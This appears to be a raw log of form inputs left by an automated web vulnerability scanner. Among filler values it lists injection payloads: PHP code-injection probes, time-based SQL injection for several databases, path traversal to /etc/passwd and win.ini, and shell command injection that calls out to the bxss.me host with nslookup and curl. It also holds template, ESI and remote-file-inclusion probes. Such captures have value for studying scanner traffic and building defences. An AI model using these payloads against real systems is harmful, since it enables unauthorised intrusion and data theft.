;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
555
<!--
555
';print(md5(31337));$a='
";print(md5(31337));$a="
555
${@print(md5(31337))}
555
555
${@print(md5(31337))}\
555
'.print(md5(31337)).'
555
<?php print(md5(31337));?>
555
555
'{${print(md5(31337))}}'
555
print(md5(31337));//
555
555
{php}print(md5(31337));{/php}
555
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555jUuxoqM1'; waitfor delay '0:0:15' --
555-1 OR 549=(SELECT 549 FROM PG_SLEEP(15))--
555-1) OR 322=(SELECT 322 FROM PG_SLEEP(15))--
555-1)) OR 879=(SELECT 879 FROM PG_SLEEP(15))--
555F8y8fq9e' OR 275=(SELECT 275 FROM PG_SLEEP(15))--
1
555d18iL0Aq') OR 266=(SELECT 266 FROM PG_SLEEP(15))--
1
555lJkTz7Y8')) OR 28=(SELECT 28 FROM PG_SLEEP(15))--
1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@RNOHZ
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1kXG3RtNO
555
555
555
555
1
555
555
1
1
555
1
1
555
1
555
1
555
555
1
555
1
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1
555
1
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
)
/etc/shells
!(()&&!|*|*|
../../../../../../../../../../../../../../etc/shells
^(#$!@#$)(()))******
c:/windows/win.ini
bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${9999817+10000391}
555
555
555
555
555
555
555
555
555
555
555
response.write(9514871*9495194)
'+response.write(9514871*9495194)+'
"+response.write(9514871*9495194)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
RudopQAv
555
555
CXaTPDr9: XKF55TV6
555
555
555
555
555
555
555
555
555
555
555
555
555
echo kdbuoe$()\ anuokg\nz^xyu||a #' &echo kdbuoe$()\ anuokg\nz^xyu||a #|" &echo kdbuoe$()\ anuokg\nz^xyu||a #
../../../../../../../../../../../../../../etc/passwd
&echo fblrhh$()\ ltzvpv\nz^xyu||a #' &echo fblrhh$()\ ltzvpv\nz^xyu||a #|" &echo fblrhh$()\ ltzvpv\nz^xyu||a #
../../../../../../../../../../../../../../windows/win.ini
555
555&echo frihgu$()\ zfwtkz\nz^xyu||a #' &echo frihgu$()\ zfwtkz\nz^xyu||a #|" &echo frihgu$()\ zfwtkz\nz^xyu||a #
file:///etc/passwd
555
|echo nulzfz$()\ krvdiy\nz^xyu||a #' |echo nulzfz$()\ krvdiy\nz^xyu||a #|" |echo nulzfz$()\ krvdiy\nz^xyu||a #
555
../555
555|echo jisxcb$()\ zhpqgr\nz^xyu||a #' |echo jisxcb$()\ zhpqgr\nz^xyu||a #|" |echo jisxcb$()\ zhpqgr\nz^xyu||a #
(nslookup -q=cname hitvuxxtzpuhv238f0.bxss.me||curl hitvuxxtzpuhv238f0.bxss.me))
$(nslookup -q=cname hithjeflhdhhh7841f.bxss.me||curl hithjeflhdhhh7841f.bxss.me)
&nslookup -q=cname hitlwhnslmkkhef548.bxss.me&'\"`0&nslookup -q=cname hitlwhnslmkkhef548.bxss.me&`'
&(nslookup -q=cname hitulrvzexlwv8559f.bxss.me||curl hitulrvzexlwv8559f.bxss.me)&'\"`0&(nslookup -q=cname hitulrvzexlwv8559f.bxss.me||curl hitulrvzexlwv8559f.bxss.me)&`'
555
|(nslookup -q=cname hitjrmzpzvlpna6d8b.bxss.me||curl hitjrmzpzvlpna6d8b.bxss.me)
555
555
555
`(nslookup -q=cname hitsovobzfkjw6f717.bxss.me||curl hitsovobzfkjw6f717.bxss.me)`
555
555
;(nslookup -q=cname hitdnfgzvlocqe93e8.bxss.me||curl hitdnfgzvlocqe93e8.bxss.me)|(nslookup -q=cname hitdnfgzvlocqe93e8.bxss.me||curl hitdnfgzvlocqe93e8.bxss.me)&(nslookup -q=cname hitdnfgzvlocqe93e8.bxss.me||curl hitdnfgzvlocqe93e8.bxss.me)
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitfknxmghqrwbe934.bxss.me||curl${IFS}hitfknxmghqrwbe934.bxss.me)
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
&(nslookup${IFS}-q${IFS}cname${IFS}hitmqfrhgkqyr27181.bxss.me||curl${IFS}hitmqfrhgkqyr27181.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitmqfrhgkqyr27181.bxss.me||curl${IFS}hitmqfrhgkqyr27181.bxss.me)&`'
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hithi'.'wjryeyto408a0.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(76).chr(118).chr(65).'
555
".gethostbyname(lc("hitob"."ndkqpvyw1e261.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(84).chr(111).chr(70)."
gethostbyname(lc('hitpw'.'kimhzoor429fc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(87).chr(116).chr(82)
555
555
555
555
555
555
555
555
555
555
555
"+"A".concat(70-3).concat(22*4).concat(103).concat(80).concat(113).concat(83)+(require"socket" Socket.gethostbyname("hitpq"+"xhaxcwew04485.bxss.me.")[3].to_s)+"
555
555
'+'A'.concat(70-3).concat(22*4).concat(107).concat(76).concat(118).concat(82)+(require'socket' Socket.gethostbyname('hitdj'+'spmwbovd029d6.bxss.me.')[3].to_s)+'
'A'.concat(70-3).concat(22*4).concat(112).concat(74).concat(111).concat(81)+(require'socket' Socket.gethostbyname('hitqk'+'dkjoofenc9a39.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'"()
555
555
555
555'&&sleep(27*1000)*mqyaax&&'
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555"&&sleep(27*1000)*ipcdae&&"
555
555'||sleep(27*1000)*prepbb||'
555
555"||sleep(27*1000)*lewhuu||"
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
';print(md5(31337));$a='
555
555
";print(md5(31337));$a="
${@print(md5(31337))}
xfs.bxss.me
${@print(md5(31337))}\
'.print(md5(31337)).'
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
print(md5(31337));//
555
{php}print(md5(31337));{/php}
555
555
[php]print(md5(31337));[/php]
555
555
555
555
555
'"
<!--
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
555
555